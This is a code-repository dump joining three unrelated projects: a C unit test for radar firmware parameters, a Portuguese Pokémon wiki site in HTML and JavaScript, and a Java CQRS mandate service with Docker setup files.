CuAssertDblEquals(tc, 76.1, bb.sys_params.carrier_freq, 1e-5);
CuAssertDblEquals(tc, 57.022094, bb.sys_params.bandwidth, 1e-5);
CuAssertDblEquals(tc, 12.667796, bb.sys_params.chirp_rampup, df);
CuAssertDblEquals(tc, 40.000652, bb.sys_params.chirp_period, df);
}
static void init_params_case0()
{
bb.sys_params.carrier_freq = 76;
bb.sys_params.bandwidth = 1000;
bb.sys_params.chirp_rampup = 50;
bb.sys_params.chirp_period = 60;
bb.sys_params.Fs = 20;
bb.sys_params.rng_nfft = 512;
bb.sys_params.vel_nfft = 256;
bb.sys_params.bfm_npoint = 360;
bb.sys_params.bfm_az_left = -60;
bb.sys_params.bfm_az_left = 60;
bb.sys_params.bfm_ev_up = 60;
bb.sys_params.bfm_ev_down = -60;
radar_param_update(&bb.sys_params);
}
void test_radar_param_fft2rv(CuTest *tc)
{
float r, v;
float dl = 1e-6;
init_radar_sys_params();
init_params_case0();
radar_param_fft2rv(&bb.sys_params, 10, 20, &r, &v);
CuAssertDblEquals(tc, 2.9179017, r, dl);
CuAssertDblEquals(tc, 2.5681233, v, dl);
radar_param_fft2rv(&bb.sys_params, 0, 1, &r, &v);
CuAssertDblEquals(tc, -0.0004879, r, dl);
CuAssertDblEquals(tc, 0.128406167, v, dl);
radar_param_fft2rv(&bb.sys_params, 1, 0, &r, &v);
CuAssertDblEquals(tc, 0.292766, r, dl);
CuAssertDblEquals(tc, 0, v, dl);
radar_param_fft2rv(&bb.sys_params, bb.sys_params.rng_nfft/2, bb.sys_params.vel_nfft/2, &r, &v);
CuAssertDblEquals(tc, -74.88565826, r, dl);
CuAssertDblEquals(tc, -16.435989, v, dl);
}
void test_radar_param_rv2fft(CuTest *tc)
{
int32_t k, p;
init_radar_sys_params();
init_params_case0();
radar_param_rv2fft(&bb.sys_params, 10, 20, &k, &p);
CuAssertIntEquals(tc, 34, k);
CuAssertIntEquals(tc, -100, p);
radar_param_rv2fft(&bb.sys_params, 100, 2, &k, &p);
CuAssertIntEquals(tc, 170, k);
CuAssertIntEquals(tc, 16, p);
radar_param_rv2fft(&bb.sys_params, 0, 1, &k, &p);
CuAssertIntEquals(tc, 0, k);
CuAssertIntEquals(tc, 8, p);
radar_param_rv2fft(&bb.sys_params, 1, 0, &k, &p);
CuAssertIntEquals(tc, 3, k);
CuAssertIntEquals(tc, 0, p);
}
CuSuite* radar_sys_params_get_suite()
{
CuSuite* suite = CuSuiteNew();
SUITE_ADD_TEST(suite, test_radar_param_config);
SUITE_ADD_TEST(suite, test_radar_param_fft2rv);
SUITE_ADD_TEST(suite, test_radar_param_rv2fft);
return suite;
}
| b5f6894ee7d4fd3f8598769fa5a03bf314312469 | [
"Markdown",
"Makefile",
"Python",
"Text",
"C",
"C++"
] | 317 | C | twinklecc/radar_sensor_firmware | 30a135f99147bdfa43c2f45311caf7b7d73d71e7 | 8f171f7589726f6aa74acda3230c3f400580dcd7 |
refs/heads/main | <file_sep>let nomes = ['Camila','Henrique', 'Arthur', 'Júlia'];
let nome = document.querySelector('#nome');
let setinha = document.querySelector('#setinha');
let posicao = 0;
let imagens = ['imgs/camila.jpg', 'imgs/henrique.jpg', 'imgs/arthur.jpg', 'imgs/julia.jpg'];
let descricoes = ['Aluna fofinha, calma para a maioria das coisas e um pouco louquinha.', 'Aluno esforçado, muito inteligente e simpático.', 'Aluno broken da sala, bom em futebol, bonito e inteligente.', 'Aluna um pouco dispersa, muito animada e inteligente.'];
let fotinhas = document.querySelector('#fotinhas');
let descricao = document.querySelector('#descricao');
nome.innerHTML = "<p>" + nomes[0] + "</p>";
fotinhas.innerHTML = "<img src=" + imagens[0] + ">";
descricao.innerHTML = "<p>" + descricoes[0] + "</p>";
setinha.addEventListener('click',function(){
posicao ++;
if(posicao == 4){
posicao = 0;
}
nome.innerHTML = "<p>" + nomes[posicao] + "</p>";
fotinhas.innerHTML = "<img src=" + imagens[posicao] + ">";
descricao.innerHTML = "<p>" + descricoes[posicao] + "</p>";
});
<file_sep><!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Pokewiki</title>
<link rel="shortcut icon" href="imgs/favicon.png">
<link rel="stylesheet" href="estilo.css">
</head>
<body>
<header>
<h1>Tipos de Pókebolas</h1>
<p id="subtitle">ウィキポケモン</p>
<nav>
<ul>
<li><a href="index.html"><p>Home</p></a></li>
<li><a href="tiposdepokemon.html"><p>Tipos de Pókemons</p></a></li>
<li><a href="tiposdepokebola.html"><p>Tipos de Pokébolas</p></a></li>
<li><a href="inicias.html"><p>Pokemons Iniciais</p></a></li>
<li><a href="quiz.html"><p>Quiz</p></a></li>
</ul>
</nav>
</header>
<main class="tiposmain">
<div>
<div>
<h2 class="titulopokebola">Poke Ball</h2>
<img class="imgpokebola" src="pokebolas/pokeball.png">
<p class="textinhopokebola">A mais classica de todas as pokebolas e a mais simples
tambem utilizada para capturar pokemons de level baixo.</p>
</div>
<div>
<h2 class="titulopokebola">Great Ball</h2>
<img class="imgpokebola" src="pokebolas/greatball.png">
<p class="textinhopokebola">Uma bola de medio desempenho que oferece uma taxa de
captura de Pokémon maior do que um Pokébola padrão,sendo usada para capturar
pokemons de niveis intermediario e baixo.</p>
</div>
<div>
<h2 class="titulopokebola">Ultra Ball</h2>
<img class="imgpokebola" src="pokebolas/ultraball.png">
<p class="textinhopokebola">Uma bola de desmpenho alto que oferece uma
taxa de captura de Pokémon mais elevada do que a Great Ball,sendo usada para
para capturar pokemons de niveis baixo,medio,alto.</p>
</div>
<div>
<h2 class="titulopokebola">Dive Ball</h2>
<img class="imgpokebola" src="pokebolas/diveball.png">
<p class="textinhopokebola">Feita para ser mais efetiva com poekemons
que se encontram em mares profundos(Ou seja pokemons que usam o HM Dive).</p>
</div>
<div>
<h2 class="titulopokebola">Dream Ball</h2>
<img class="imgpokebola" src="pokebolas/dreamball.png">
<p class="textinhopokebola">Efetiva para capturar pokemons em zonas de floresta.</p>
</div>
<div>
<h2 class="titulopokebola">Dusk Ball</h2>
<img class="imgpokebola" src="pokebolas/duskball.png">
<p class="textinhopokebola">Um pokebola efetiva para capturar pokemons selvagem
a noite ou cavernas</p>
</div>
<div>
<h2 class="titulopokebola">Fast Ball</h2>
<img class="imgpokebola" src="pokebolas/fastball.png">
<p class="textinhopokebola"> Uma Pokébola efetiva para capturar Pokémons que escapam
da batalha mais facilmente.</p>
</div>
</div>
<div>
<div>
<h2 class="titulopokebola">Heal Ball</h2>
<img class="imgpokebola" src="pokebolas/healball.png">
<p class="textinhopokebola">Uma Pokébola que restaura o HP do Pokémon capturado e elimina
qualquer problema de status.</p>
</div>
<div>
<h2 class="titulopokebola">Heavy Ball</h2>
<img class="imgpokebola" src="pokebolas/heavyball.png">
<p class="textinhopokebola">Uma Pokébola para capturar Pokémon que posuem um peso alto.</p>
</div>
<div>
<h2 class="titulopokebola">Level Ball</h2>
<img class="imgpokebola" src="pokebolas/levelball.png">
<p class="textinhopokebola">Uma Pokébola efetiva em Pokémons que são de um nível menor do que
o seu próprio.</p>
</div>
<div>
<h2 class="titulopokebola">Love Ball</h2>
<img class="imgpokebola" src="pokebolas/loveball.png">
<p class="textinhopokebola">Pokébola efetiva para capturar Pokémons que são do
sexo oposto ao seu Pokémon.</p>
</div>
<div>
<h2 class="titulopokebola">Master Ball</h2>
<img class="imgpokebola" src="pokebolas/masterball.png">
<p class="textinhopokebola">A melhor bola com o nível máximo de desempenho. Ele vai pegar
qualquer Pokémon selvagem sem falhar.</p>
</div>
<div>
<h2 class="titulopokebola">Moon Ball</h2>
<img class="imgpokebola" src="pokebolas/moonball.png">
<p class="textinhopokebola">Uma Pokébola efetiva para capturar Pokémons que
evoluem com a Moon Stone.</p>
</div>
</div>
<div>
<div>
<h2 class="titulopokebola">Net Ball</h2>
<img class="imgpokebola" src="pokebolas/netball.png">
<p class="textinhopokebola">Uma Pokébola um pouco diferente, ela e efetiva especialmente
em Pokémons do tipo água ou do tipo inseto.</p>
</div>
<div>
<h2 class="titulopokebola">Primier Ball</h2>
<img class="imgpokebola" src="pokebolas/primierball.png">
<p class="textinhopokebola">Uma Pokébola um pouco rara que foi feita especialmente para comemorar um
evento de algum tipo.</p>
</div>
<div>
<h2 class="titulopokebola">Safari Ball</h2>
<img class="imgpokebola" src="pokebolas/safariball.png">
<p class="textinhopokebola">Pokébola especial que é usado apenas na
Safari Zone.</p>
</div>
<div>
<h2 class="titulopokebola">Sport Ball</h2>
<img class="imgpokebola" src="pokebolas/sportball.png">
<p class="textinhopokebola">Uma Pokébola especial para o concurso de pegar insetos de Johto.</p>
</div>
<div>
<h2 class="titulopokebola">Beast Ball</h2>
<img class="imgpokebola" src="pokebolas/beastball.png">
<p class="textinhopokebola">Designada para capturar Ultra Beasts. Tem uma chance muito
pequena de sucesso para capturar outros Pokémon.</p>
</div>
</div>
</main>
<footer>
<a href="creditos.html"><p>Créditos</p></a>
</footer>
</body>
</html>
<file_sep><!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Pokewiki</title>
<link rel="shortcut icon" href="imgs/favicon.png">
<link rel="stylesheet" href="estilo.css">
</head>
<body>
<header>
<h1>Pókemons Iniciais</h1>
<p id="subtitle">ウィキポケモン</p>
<nav>
<ul>
<li><a href="index.html"><p>Home</p></a></li>
<li><a href="tiposdepokemon.html"><p>Tipos de Pókemons</p></a></li>
<li><a href="tiposdepokebola.html"><p>Tipos de Pokébolas</p></a></li>
<li><a href="inicias.html"><p>Pokemons Iniciais</p></a></li>
<li><a href="quiz.html"><p>Quiz</p></a></li>
</ul>
</nav>
</header>
<div class="tiposmain pokemonsiniciais">
<h2>O que são pokemons inicias?</h2>
<p>São os pokemons que cada treinador pode escolher para começar sua jornada,
eles são normalmente tres sendo um de cada elemento sendo eles fogo,água,grama.
Sendo que são diferentes em cada região.</p>
<h3>Kanto</h3>
<img src="imgs/kanto.png" alt="">
<ul>
<li>Squirtle(Áqua)</li>
<li>Bulbasaur(Grama)</li>
<<li>Charmander(Fogo)</li>
</ul>
<h3>Johto</h3>
<img src="imgs/johto.jpg" alt="">
<ul>
<li>Chikorita(Grama)</li>
<li>Totodile(Água)</li>
<li>Cyndaquil(Fogo)</li>
</ul>
<h3>Hoenn</h3>
<img src="imgs/hoenn.png" alt="">
<ul>
<li>Treecko(Grama)</li>
<li>Torchic(Fogo)</li>
<li>Mudkip(Água)</li>
</ul>
<h3>Sinnoh</h3>
<img src="imgs/sinnoh.jpg" alt="">
<ul>
<li>Turtwig(Grama)</li>
<li>Chimchar(Fogo)</li>
<li>Piplup(Água)</li>
</ul>
<h3>Unova</h3>
<img src="imgs/Unova.png" alt="">
<ul>
<li>Snivy(Grama)</li>
<li>Tepig(Fogo)</li>
<li>Oshawott(Água)</li>
</ul>
<h3>Kalos</h3>
<img src="imgs/kalos.png" alt="">
<ul>
<li>Chespin(Grama)</li>
<li>Fennekin(Fogo)</li>
<li>Froakie(Água)</li>
</ul>
</div>
<footer>
<a href="creditos.html"><p>Créditos</p></a>
</footer>
</body>
</html>
| 7f22474d297e99ac75e320098ac3a52815b63b61 | [
"JavaScript",
"HTML"
] | 3 | JavaScript | arthuuumoura/Pokewiki | 0091ab241bbbbc8ad8ac6fdc7b40b7e407a7e9a2 | 7144e287a121554139c0fbe650edbc65e28da63f |
refs/heads/master | <file_sep>package com.ote.mandate.business.command.api;
import com.ote.common.cqrs.ICommand;
import com.ote.common.cqrs.IEvent;
import com.ote.mandate.business.command.spi.IEventRepository;
import reactor.core.publisher.Mono;
import reactor.util.function.Tuple2;
import reactor.util.function.Tuples;
import java.util.List;
import java.util.function.Predicate;
import java.util.function.Supplier;
public interface ICommandHandler {
default <T extends ICommand> Mono<Tuple2<T, List<IEvent>>> getOrRaiseError(T command,
Predicate<List<IEvent>> successCondition,
Supplier<Throwable> errorRaised,
IEventRepository eventRepository) {
return eventRepository.
findAll(Mono.just(command.getId())).
collectList().
flatMap(events -> {
if (successCondition.test(events)) {
return Mono.just(Tuples.of(command, events));
} else {
return Mono.error(errorRaised.get());
}
});
}
}
<file_sep>package com.ote.mandate.business.command.domain;
import com.ote.mandate.business.command.api.*;
import com.ote.mandate.business.command.exception.MalformedCommandException;
import com.ote.mandate.business.command.exception.MandateAlreadyCreatedException;
import com.ote.mandate.business.command.exception.MandateNotYetCreatedException;
import com.ote.mandate.business.command.model.*;
import com.ote.mandate.business.command.spi.IEventRepository;
import lombok.extern.slf4j.Slf4j;
import reactor.core.publisher.Mono;
@Slf4j
class MandateCommandHandler implements IMandateCommandHandler {
private final ICreateMandateCommandHandler createMandateCommandService;
private final IAddHeirsCommandHandler addHeirsCommandService;
private final IRemoveHeirsCommandHandler removeHeirsCommandService;
private final IDefineMainHeirCommandHandler defineMainHeirCommandService;
private final IDefineNotaryCommandHandler defineNotaryCommandService;
MandateCommandHandler(IEventRepository eventRepository) {
this.createMandateCommandService = new CreateMandateCommandHandler(eventRepository);
this.addHeirsCommandService = new AddHeirsCommandHandler(eventRepository);
this.removeHeirsCommandService = new RemoveHeirsCommandHandler(eventRepository);
this.defineMainHeirCommandService = new DefineMainHeirCommandHandler(eventRepository);
this.defineNotaryCommandService = new DefineNotaryCommandHandler(eventRepository);
}
@Override
public Mono<Boolean> createMandate(Mono<CreateMandateCommand> command) throws MalformedCommandException, MandateAlreadyCreatedException {
return createMandateCommandService.createMandate(command);
}
@Override
public Mono<Boolean> addHeirs(Mono<AddHeirsCommand> command) throws MalformedCommandException, MandateNotYetCreatedException {
return addHeirsCommandService.addHeirs(command);
}
@Override
public Mono<Boolean> removeHeirs(Mono<RemoveHeirsCommand> command) throws MalformedCommandException, MandateNotYetCreatedException {
return removeHeirsCommandService.removeHeirs(command);
}
@Override
public Mono<Boolean> defineMainHeir(Mono<DefineMainHeirCommand> command) throws MalformedCommandException, MandateNotYetCreatedException {
return defineMainHeirCommandService.defineMainHeir(command);
}
@Override
public Mono<Boolean> defineNotary(Mono<DefineNotaryCommand> command) throws MalformedCommandException, MandateNotYetCreatedException {
return defineNotaryCommandService.defineNotary(command);
}
}
<file_sep>package com.ote.common;
public interface CheckedConsumer {
@FunctionalInterface
interface Consumer1<T1> {
void apply(T1 param1) throws Exception;
}
@FunctionalInterface
interface Consumer2<T1, T2> {
void apply(T1 param1, T2 param2) throws Exception;
}
}
<file_sep>package com.ote.mandate.business.event.business;
import com.ote.mandate.business.event.api.IMandateEventHandler;
import lombok.NoArgsConstructor;
@NoArgsConstructor
public final class MandateEventHandlerFactory {
public IMandateEventHandler createEventHandler() {
return new MandateEventHandler();
}
}
<file_sep>package com.ote.mandate.service;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class MandateDomainServiceRunner {
public static final void main(String... args) {
SpringApplication.run(MandateDomainServiceRunner.class, args);
}
}
<file_sep>package com.ote.mandate.business.command.api;
import com.ote.mandate.business.command.domain.MandateCommandHandlerFactory;
import lombok.Getter;
public final class MandateCommandHandlerProvider {
@Getter
private static final MandateCommandHandlerProvider Instance = new MandateCommandHandlerProvider();
@Getter
private final MandateCommandHandlerFactory handlerFactory;
private MandateCommandHandlerProvider() {
this.handlerFactory = new MandateCommandHandlerFactory();
}
}
<file_sep>package com.ote.common;
import javax.validation.ConstraintViolation;
import javax.validation.Validation;
import javax.validation.Validator;
import javax.validation.ValidatorFactory;
import java.util.Set;
import java.util.stream.Collectors;
public interface Validable {
default void validate() throws NotValidException {
try (ValidatorFactory factory = Validation.buildDefaultValidatorFactory()) {
Validator validator = factory.getValidator();
Set<ConstraintViolation<Validable>> violations = validator.validate(this);
if (!violations.isEmpty()) {
throw new NotValidException(this, violations);
}
}
}
class NotValidException extends Exception {
private final static String MESSAGE_TEMPLATE = "The instance [%s] is not valid : %s";
private NotValidException(Validable type, Set<ConstraintViolation<Validable>> violations) {
super(String.format(MESSAGE_TEMPLATE, type.toString(), violations.stream().map(p -> p.getPropertyPath() + " " + p.getMessage()).collect(Collectors.toList())));
}
}
}
<file_sep>package com.ote.mandate.service.event;
import com.ote.common.Convertor;
import com.ote.common.cqrs.IEvent;
import com.ote.mandate.business.aggregate.Mandate;
import com.ote.mandate.business.event.model.*;
import com.ote.mandate.service.event.model.*;
import lombok.Getter;
import org.springframework.stereotype.Service;
@Service
@Getter
public class MandateEventMapperService {
private EventToDocument eventToDocument = new EventToDocument();
private DocumentToEvent documentToEvent = new DocumentToEvent();
public static class EventToDocument {
private final Convertor convertor = new Convertor();
public EventToDocument() {
this.convertor.bind(MandateCreatedEvent.class, this::convert);
this.convertor.bind(MandateHeirAddedEvent.class, this::convert);
this.convertor.bind(MandateHeirRemovedEvent.class, this::convert);
this.convertor.bind(MandateMainHeirDefinedEvent.class, this::convert);
this.convertor.bind(MandateNotaryDefinedEvent.class, this::convert);
}
public InnerEventDocument convert(IEvent event) {
return this.convertor.convert(event);
}
private MandateCreatedEventDocument convert(MandateCreatedEvent event) {
Mandate mandate = new Mandate();
mandate.setId(event.getId());
mandate.setBankName(event.getBankName());
mandate.setContractor(event.getContractor());
mandate.setNotary(event.getNotary());
mandate.setMainHeir(event.getMainHeir());
mandate.setOtherHeirs(event.getOtherHeirs());
MandateCreatedEventDocument document = new MandateCreatedEventDocument();
document.setId(event.getId());
document.setMandate(mandate);
return document;
}
private MandateOtherHeirUpdatedEventDocument convert(MandateHeirAddedEvent event) {
MandateOtherHeirUpdatedEventDocument document = new MandateOtherHeirUpdatedEventDocument();
document.setId(event.getId());
document.setHeir(event.getHeir());
document.setAction(MandateOtherHeirUpdatedEventDocument.Action.ADDED);
return document;
}
private MandateOtherHeirUpdatedEventDocument convert(MandateHeirRemovedEvent event) {
MandateOtherHeirUpdatedEventDocument document = new MandateOtherHeirUpdatedEventDocument();
document.setId(event.getId());
document.setHeir(event.getHeir());
document.setAction(MandateOtherHeirUpdatedEventDocument.Action.DELETED);
return document;
}
private MandateMainHeirDefinedEventDocument convert(MandateMainHeirDefinedEvent event) {
MandateMainHeirDefinedEventDocument document = new MandateMainHeirDefinedEventDocument();
document.setId(event.getId());
document.setHeir(event.getHeir());
return document;
}
private MandateNotaryDefinedEventDocument convert(MandateNotaryDefinedEvent event) {
MandateNotaryDefinedEventDocument document = new MandateNotaryDefinedEventDocument();
document.setId(event.getId());
document.setNotary(event.getNotary());
return document;
}
}
public static class DocumentToEvent {
private final Convertor convertor = new Convertor();
public DocumentToEvent() {
this.convertor.bind(MandateCreatedEventDocument.class, this::convert);
this.convertor.bind(MandateOtherHeirUpdatedEventDocument.class, this::convert);
this.convertor.bind(MandateMainHeirDefinedEventDocument.class, this::convert);
this.convertor.bind(MandateNotaryDefinedEventDocument.class, this::convert);
}
public <T extends InnerEventDocument> IEvent convert(T event) {
return this.convertor.convert(event);
}
public IEvent convert(MandateCreatedEventDocument document) {
MandateCreatedEvent event = new MandateCreatedEvent(document.getId(), document.getMandate().getBankName(), document.getMandate().getContractor());
event.setMainHeir(document.getMandate().getMainHeir());
event.setNotary(document.getMandate().getNotary());
event.getOtherHeirs().addAll(document.getMandate().getOtherHeirs());
return event;
}
public IEvent convert(MandateOtherHeirUpdatedEventDocument document) {
switch (document.getAction()) {
case ADDED: {
MandateHeirAddedEvent event = new MandateHeirAddedEvent(document.getId(), document.getHeir());
return event;
}
default: {
MandateHeirRemovedEvent event = new MandateHeirRemovedEvent(document.getId(), document.getHeir());
return event;
}
}
}
public IEvent convert(MandateMainHeirDefinedEventDocument document) {
MandateMainHeirDefinedEvent event = new MandateMainHeirDefinedEvent(document.getId(), document.getHeir());
return event;
}
public IEvent convert(MandateNotaryDefinedEventDocument document) {
MandateNotaryDefinedEvent event = new MandateNotaryDefinedEvent(document.getId(), document.getNotary());
return event;
}
}
}
<file_sep>package com.ote.mandate.service.event.model;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import org.springframework.data.mongodb.core.index.IndexDirection;
import org.springframework.data.mongodb.core.index.Indexed;
import org.springframework.data.mongodb.core.mapping.Field;
@Getter
@Setter
@NoArgsConstructor
public class InnerEventDocument {
@Field("event_id")
@Indexed(direction = IndexDirection.ASCENDING, dropDups = true)
private String id;
}
<file_sep>version: "3.3"
services:
# SERVICE DISCOVERY
consul-agent-1: &consul-agent
image: consul:latest
networks:
- my-network
command: "agent -retry-join consul-server-bootstrap -client 0.0.0.0"
consul-agent-2:
<<: *consul-agent
consul-agent-3:
<<: *consul-agent
consul-server-1: &consul-server
<<: *consul-agent
command: "agent -server -retry-join consul-server-bootstrap -client 0.0.0.0"
consul-server-2:
<<: *consul-server
consul-server-bootstrap:
<<: *consul-agent
ports:
- "8400:8400"
- "8500:8500"
- "8600:8600"
- "8600:8600/udp"
command: "agent -server -bootstrap-expect 3 -ui -client 0.0.0.0"
# LOAD BALANCER
fabio:
image: magiconair/fabio:latest
container_name: "fabio"
ports:
- "9998:9998" # GUI/management
- "9999:9999" # HTTP exposed
volumes:
- //c/Users/data/docker/fabio:/etc/fabio
networks:
- my-network
depends_on:
- "consul-server-bootstrap"
# EVENT STORE
mongodb:
image: mongo:latest
container_name: "mongodb"
environment:
- MONGO_DATA_DIR=/data/db
- MONGO_LOG_DIR=/dev/null
ports:
- 27017:27017
networks:
- my-network
# command: --auth
# ZOOKEEPER
zookeeper:
image: confluentinc/cp-zookeeper:latest
environment:
ZOOKEEPER_CLIENT_PORT: 32181
ZOOKEEPER_TICK_TIME: 2000
ports:
- "32181:32181"
networks:
- my-network
kafka:
image: confluentinc/cp-kafka:latest
environment:
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://192.168.99.100:29092
KAFKA_BROKER_ID: 1
KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
KAFKA_ZOOKEEPER_CONNECT: zookeeper:32181
KAFKA_LOG4J_LOGGERS: "kafka.controller=INFO,kafka.producer.async.DefaultEventHandler=INFO,state.change.logger=INFO"
ports:
- "29092:29092"
networks:
- my-network
depends_on:
- zookeeper
networks:
my-network:
external: true<file_sep>package com.ote.mandate.business.event.api;
import com.ote.mandate.business.event.business.MandateEventHandlerFactory;
import lombok.Getter;
public final class MandateEventHandlerProvider {
@Getter
private static final MandateEventHandlerProvider Instance = new MandateEventHandlerProvider();
@Getter
private final MandateEventHandlerFactory handlerFactory;
private MandateEventHandlerProvider() {
this.handlerFactory = new MandateEventHandlerFactory();
}
}
<file_sep>package com.ote.mandate.service.command;
import com.ote.mandate.business.command.api.IMandateCommandHandler;
import com.ote.mandate.business.command.api.MandateCommandHandlerProvider;
import com.ote.mandate.business.command.exception.MalformedCommandException;
import com.ote.mandate.business.command.exception.MandateAlreadyCreatedException;
import com.ote.mandate.business.command.exception.MandateNotYetCreatedException;
import com.ote.mandate.business.command.model.*;
import com.ote.mandate.business.command.spi.IEventRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import reactor.core.publisher.Mono;
@Service
public class MandateCommandHandlerAdapter implements IMandateCommandHandler {
private final IMandateCommandHandler mandateCommandService;
@Autowired
public MandateCommandHandlerAdapter(IEventRepository eventRepository) {
this.mandateCommandService = MandateCommandHandlerProvider.getInstance().getHandlerFactory().createService(eventRepository);
}
@Override
public Mono<Boolean> createMandate(Mono<CreateMandateCommand> command) throws MalformedCommandException, MandateAlreadyCreatedException {
return this.mandateCommandService.createMandate(command);
}
@Override
public Mono<Boolean> addHeirs(Mono<AddHeirsCommand> command) throws MalformedCommandException, MandateNotYetCreatedException {
return this.mandateCommandService.addHeirs(command);
}
@Override
public Mono<Boolean> removeHeirs(Mono<RemoveHeirsCommand> command) throws MalformedCommandException, MandateNotYetCreatedException {
return this.mandateCommandService.removeHeirs(command);
}
@Override
public Mono<Boolean> defineMainHeir(Mono<DefineMainHeirCommand> command) throws MalformedCommandException, MandateNotYetCreatedException {
return this.mandateCommandService.defineMainHeir(command);
}
@Override
public Mono<Boolean> defineNotary(Mono<DefineNotaryCommand> command) throws MalformedCommandException, MandateNotYetCreatedException {
return this.mandateCommandService.defineNotary(command);
}
}
<file_sep>javax.validation.constraints.NotNull.message=should not be null
javax.validation.constraints.NotBlank.message=should not be blank
javax.validation.constraints.NotEmpty.message=should not be empty<file_sep># Mandate Domain Services
Bind properties : https://docs.spring.io/spring-cloud-stream/docs/current/reference/htmlsingle/#_configuration_options
Example:
POST http://192.168.99.100:9999/mandate-api/v1/mandates
{
"id": "5",
"bankName": "Socgen",
"contractor": {
"name": "the_contractor"
}
}
PUT http://192.168.99.100:9999/mandate-api/v1/mandates/5/notary
{
"name": "the_notary"
}
<file_sep>package com.ote.mandate.business;
import cucumber.api.CucumberOptions;
import cucumber.api.junit.Cucumber;
import org.junit.runner.RunWith;
@RunWith(Cucumber.class)
@CucumberOptions(
plugin = {"pretty"},
features = "src/test/resources/mandatesOperation.feature",
tags = {"~@Ignore"},
glue = "com.ote.mandate.business")
public class MandateServiceCucumberTest {
}<file_sep>package com.ote.mandate.business.command.domain;
import com.ote.common.cqrs.IEvent;
import com.ote.mandate.business.aggregate.Mandate;
import com.ote.mandate.business.aggregate.MandateProjector;
import com.ote.mandate.business.command.api.IRemoveHeirsCommandHandler;
import com.ote.mandate.business.command.exception.MandateNotYetCreatedException;
import com.ote.mandate.business.command.model.RemoveHeirsCommand;
import com.ote.mandate.business.command.spi.IEventRepository;
import com.ote.mandate.business.event.model.MandateHeirRemovedEvent;
import lombok.AccessLevel;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.collections4.CollectionUtils;
import reactor.core.Exceptions;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import reactor.util.function.Tuple2;
import java.util.List;
import java.util.stream.Collectors;
@Slf4j
@RequiredArgsConstructor(access = AccessLevel.PACKAGE)
class RemoveHeirsCommandHandler implements IRemoveHeirsCommandHandler {
private final IEventRepository eventRepository;
@Override
public Mono<Boolean> removeHeirs(Mono<RemoveHeirsCommand> command) {
return command.
doOnNext(cmd -> log.debug("Trying to remove heirs : {}", cmd)).
flatMap(cmd -> getOrRaiseError(cmd, events -> CollectionUtils.isNotEmpty(events), () -> new MandateNotYetCreatedException(cmd.getId()), eventRepository)).
map(this::createEvents).
flatMapMany(events -> Flux.fromStream(events.stream())).
flatMap(event -> eventRepository.storeAndPublish(Mono.just(event))).
collectList().
map(list -> list.stream().anyMatch(p -> p == true));
}
private List<IEvent> createEvents(Tuple2<RemoveHeirsCommand, List<IEvent>> tuple) {
return createEvents(tuple.getT1(), tuple.getT2());
}
private List<IEvent> createEvents(RemoveHeirsCommand command, List<IEvent> events) {
try (MandateProjector mandateProjector = new MandateProjector()) {
Mandate mandate = mandateProjector.apply(events);
return command.getOtherHeirs().stream().
filter(heir -> CollectionUtils.containsAny(mandate.getOtherHeirs(), heir)).
map(heir -> new MandateHeirRemovedEvent(command.getId(), heir)).
collect(Collectors.toList());
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}
}
<file_sep>package com.ote.mandate.service.rest;
import com.ote.mandate.business.aggregate.Contractor;
import com.ote.mandate.business.aggregate.Heir;
import com.ote.mandate.business.aggregate.Mandate;
import com.ote.mandate.business.aggregate.Notary;
import com.ote.mandate.service.rest.payload.ContractorPayload;
import com.ote.mandate.service.rest.payload.HeirPayload;
import com.ote.mandate.service.rest.payload.MandatePayload;
import com.ote.mandate.service.rest.payload.NotaryPayload;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Set;
import java.util.stream.Collectors;
@Service
public class MandateMapperService {
public Mandate convert(MandatePayload payload) {
if (payload == null) {
return null;
}
Mandate business = new Mandate();
business.setId(payload.getId());
business.setBankName(payload.getBankName());
business.setContractor(convert(payload.getContractor()));
business.setMainHeir(convert(payload.getMainHeir()));
business.setNotary(convert(payload.getNotary()));
business.setOtherHeirs(payload.getOtherHeirs().stream().map(this::convert).collect(Collectors.toList()));
return business;
}
public Set<Heir> convert(List<HeirPayload> payload) {
if (payload == null) {
return null;
}
Set<Heir> business = payload.stream().map(this::convert).collect(Collectors.toSet());
return business;
}
public Heir convert(HeirPayload payload) {
if (payload == null) {
return null;
}
Heir business = new Heir();
business.setName(payload.getName());
return business;
}
public Notary convert(NotaryPayload payload) {
if (payload == null) {
return null;
}
Notary business = new Notary();
business.setName(payload.getName());
return business;
}
public Contractor convert(ContractorPayload payload) {
if (payload == null) {
return null;
}
Contractor business = new Contractor();
business.setName(payload.getName());
return business;
}
}
<file_sep>package com.ote.mandate.service.event.model;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import org.springframework.data.annotation.CreatedDate;
import org.springframework.data.annotation.Id;
import org.springframework.data.mongodb.core.mapping.Document;
import java.time.LocalDateTime;
@Document
@Getter
@Setter
@NoArgsConstructor
public final class EventDocument {
@Id
private String id;
@CreatedDate
private LocalDateTime createdTime;
private InnerEventDocument event = null;
}
<file_sep>package com.ote.mandate.business.command.exception;
public abstract class AdtMandateException extends Exception {
protected AdtMandateException(String message) {
super(message);
}
}
<file_sep>package com.ote.mandate.business;
import java.util.HashMap;
import java.util.Map;
import java.util.Optional;
public class ScenarioContext {
private final static Map<String, String> input = new HashMap<>();
private final static Map<String, String> output = new HashMap<>();
public enum Type {
INPUT, OUTPUT
}
public void put(String key, String value, Type type) {
getMap(type).put(key, value);
}
public Optional<String> get(String key, Type type) {
return Optional.ofNullable(getMap(type).get(key));
}
public void clean() {
input.clear();
output.clear();
}
private Map<String, String> getMap(Type type) {
switch (type) {
case INPUT:
return input;
case OUTPUT:
default:
return output;
}
}
}
<file_sep># Contract CQRS
Given DOCKER_MACHINE_IP is ```192.168.99.100```
Given file ```fabio.properties``` has been copied into ```C:/Users/data/docker/fabio```
Create network
* docker network create my-network
